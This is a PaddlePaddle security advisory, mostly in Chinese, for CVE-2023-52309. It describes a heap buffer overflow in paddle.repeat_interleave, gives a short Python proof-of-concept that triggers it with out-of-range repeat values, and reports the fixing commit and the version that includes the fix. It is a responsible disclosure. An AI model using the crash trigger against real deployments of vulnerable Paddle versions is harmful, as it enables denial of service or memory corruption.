Back to Paddle

Pdsa 2023 018 Cn

security/advisory/pdsa-2023-018_cn.md

3.3.1932 B
Original Source

PDSA-2023-018: Heap buffer overflow in paddle.repeat_interleave

CVE编号

CVE-2023-52309

影响

非法的参数可能导致paddle.repeat_interleave堆溢出,PoC代码如下:

python
import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 4, 8, 3, 2, 4]).astype(np.float64))
repeats = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [2, 1]).astype(np.int32))

paddle.repeat_interleave(x, repeats, axis=-2)

补丁

我们在commit 19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc中对此问题进行了补丁。 修复将包含在飞桨2.6.0版本当中。

更多信息

请参考我们的安全指南以获得更多关于安全的信息,以及如何与我们联系问题。

贡献者

此漏洞由 Tong Liu of CAS-IIE 提交。